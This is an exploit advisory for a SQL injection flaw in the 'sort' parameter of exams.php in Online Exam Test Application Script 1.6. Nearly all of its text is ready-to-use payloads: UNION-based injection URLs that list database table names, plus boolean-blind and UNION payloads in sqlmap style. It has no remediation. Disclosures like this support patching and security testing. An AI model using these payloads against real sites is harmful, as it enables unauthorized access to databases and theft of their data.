Online Exam Test Application Script 1.6 – ‘Exams.php ‘sort’ SQL Injection
The vulnerability allows an attacker to inject sql commands. Proof of Concept: http://localhost/[PATH]/exams.php?sort=[SQL] -4++UNION+ALL+SELECT+1,2,3,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x),5,6--+- http://server/exams.php?sort=-4++UNION+ALL+SELECT+1,2,3,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x),5,6--+- Parameter: sort (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: sort=4 AND 9300=9300 Type: UNION query Title: Generic UNION query (NULL) - 6 columns Payload: sort=4 UNION ALL SELECT NULL,CONCAT(0x717a6b7071,0x436a5574724b7477565147546d496b47534c4e586c4275794c6359695374477874484b4669767978,0x7176627871),NULL,NULL,NULL,NULL-- Knya